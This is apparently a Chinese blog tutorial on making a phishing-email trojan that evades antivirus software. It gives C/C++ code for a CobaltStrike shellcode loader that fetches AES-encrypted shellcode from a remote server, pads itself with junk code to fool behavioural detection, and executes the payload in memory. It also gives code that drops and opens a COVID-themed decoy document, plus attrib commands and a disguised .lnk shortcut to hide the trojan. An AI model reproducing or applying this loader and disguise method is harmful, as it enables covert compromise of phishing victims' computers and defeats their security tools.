附件携马实践
0x01 写在前面
今天我们聊的依旧是个老生常谈的话题,邮件钓鱼,通过发送大量的钓鱼邮件或者直接发送木马病毒的形式来控制受害者主机的一种方式。但事实上很多木马在还没到达受害者主机时就已经被各大安全厂商KO了,因此如何制作免杀钓鱼木马,成了攻击者需要思考的问题。
本文重点不在于如何发送一封钓鱼邮件,仅用粗略浅显的方法来实践钓鱼木马的免杀(CobaltStrike),不足之处望斧正!
0x02 关于免杀
免杀思路
关于shellcode与shellcode loader由于篇幅问题这里不做赘述,各位看官自行百度。
目前常见的防病毒软件,是基于三种模式来进行查杀。一是基于特征,二是基于行为,三是基于云查杀。云查杀其实也是特征查杀。
基于特征的查杀,我们使用各种编码与加密的方式+CobaltStrike自身的管道通信模式+shellcode不落地可以绕过。
基于行为的查杀,利用CobaltStrike的管道通信模式+花指令思维会有奇效,翻译成人话就是在loader中加入正常执行的代码,让exe本身具有正常的行为,来扰乱AV分析。
我们免杀的主要思路是:
- shellcode字符串不做硬编码。人话是shellcode不写死在loader代码中。 (特征查杀)
- 原始shellcode字符串加密。(特征查杀)
- 添加干扰代码扰乱AV分析。(行为查杀)
这里我们使用C/C++来实现shellcode loader并进行免杀。
核心代码
int main(int argc, char **argv)
{
DWORD dwOldProtect; // 内存页属性
//远程获取加密shellcode
char buf[BUF_SIZE] = { 0 };
char url[MAX_PATH] = "http://192.168.52.153/shellcode";
GetInterNetURLText(url, buf);
//干扰代码
unsigned char word[] = "AliyunClient";
string strword = base64_encode(word,sizeof(word));
string base64buf = base64_decode(buf);
if (strword != base64buf)
string aesword = EncryptionAES(strword);
//解密shellcode
string strbuf = DecryptionAES(buf);
//干扰代码
char buff[BUF_SIZE] = { 0 };
for (int i = 0; i < strbuf.length(); i++)
buff[i] = strbuf[i];
string aliword = base64_encode(word, 10);
char *p = buff;
//shellcode处理
unsigned char* shellcode = (unsigned char*)calloc(strlen(buff) / 2, sizeof(unsigned char));
for (size_t i = 0; i < strlen(buff) / 2; i++) {
sscanf(p, "%2hhx", &shellcode[i]);
p += 2;
}
string aliaesword = EncryptionAES(aliword);//干扰代码
void *run = VirtualAlloc(0, strlen(buff) / 2, MEM_COMMIT, PAGE_READWRITE);
memcpy(run, shellcode, strlen(buff) / 2); //创建可读可写内存
if (aliword != strword)
DecryptionAES(aliaesword); //干扰代码
VirtualProtect(run, strlen(buff) / 2, PAGE_EXECUTE, &dwOldProtect); //内存添加可执行权限
Sleep(2000); //延迟2S,躲避杀软查杀
((void(*)())run)(); //执行
aliword = base64_encode(word,10); //干扰代码
return 0;
}
采用aes对称加密算法,先将加密后的shellcode字符串存储在远端http server,然后在loader中下载回来并解密,最后我们编译生成exe。
此时注意使用静态编译方法,避免由于运行库缺失导致我们的exe跑不起来。
0x03 如何实现
到这里我们只是初步完成了exe的免杀,但这还远远不够,直接发exe容易使目标察觉,我们还需要稍加伪装!这就轮到我们的lnk登场。
lnk
什么是lnk?百度百科这样解释道:lnk文件是用于指向其他文件的一种文件。 这些文件通常称为快捷方式文件,通常它以快捷方式放在硬盘上,以方便使用者快速的调用。
有了lnk,我们只需要将lnk指向我们的木马文件,利用木马文件打开伪装的正常文件,然后再悄无声息地控制目标机器,简单的免杀钓鱼木马就可以实现。
具体步骤
首先我们需要制作一个伪装的文件,至于文件类型就因人因目标的异同来决定,这里我简单弄个演示用文档。
接下来我们将伪装的文件导入工程中,并添加代码:
BOOL ReleaseLibrary(UINT uResourceId, CHAR* szResourceType, CHAR* szFileName)
{
// 找到资源
HRSRC hRsrc = FindResource(NULL, MAKEINTRESOURCE(uResourceId), szResourceType);
// 获取资源大小
DWORD dwSize = SizeofResource(NULL, hRsrc);
// 载入资源
HGLOBAL hGlobal = LoadResource(NULL, hRsrc);
// 锁定资源,并返回指向资源第一字节的指针
LPVOID lpRes = LockResource(hGlobal);
HANDLE hFile = CreateFile(szFileName, GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
DWORD dwWriten = 0;
BOOL bRes = WriteFile(hFile, lpRes, dwSize, &dwWriten, NULL);
CloseHandle(hFile);
CloseHandle(hGlobal);
CloseHandle(hRsrc);
return TRUE;
}
void main()
{
......
BOOL bRes = ReleaseLibrary(IDR_TESTTXT1, (CHAR*)"TESTTXT", (CHAR*)"新冠肺炎防范工作.txt"); //生成伪装文件
ShellExecute(NULL, "open", "新冠肺炎防范工作.txt", NULL, NULL, SW_SHOW); //打开伪装文件迷惑目标
......
}
编译完成后,我们新建lnk快捷方式,将目标指向我们的木马,并将图标改成文档图标,迷惑目标:
最后,我们利用attrib命令将我们的木马与伪装文件隐藏,只留下lnk文件。
attrib muma.exe +s +h
attrib weizhuang.txt +s +h
嗯,这个时候,我们就万事俱备,只欠钓鱼邮件话术了。
0x04 成果检验
由于有不少人说虚拟机内的360都是摆设,这里我们直接在真机演示。
0x05 写在最后
最终万变不离其宗的,还是shellcode的免杀啊!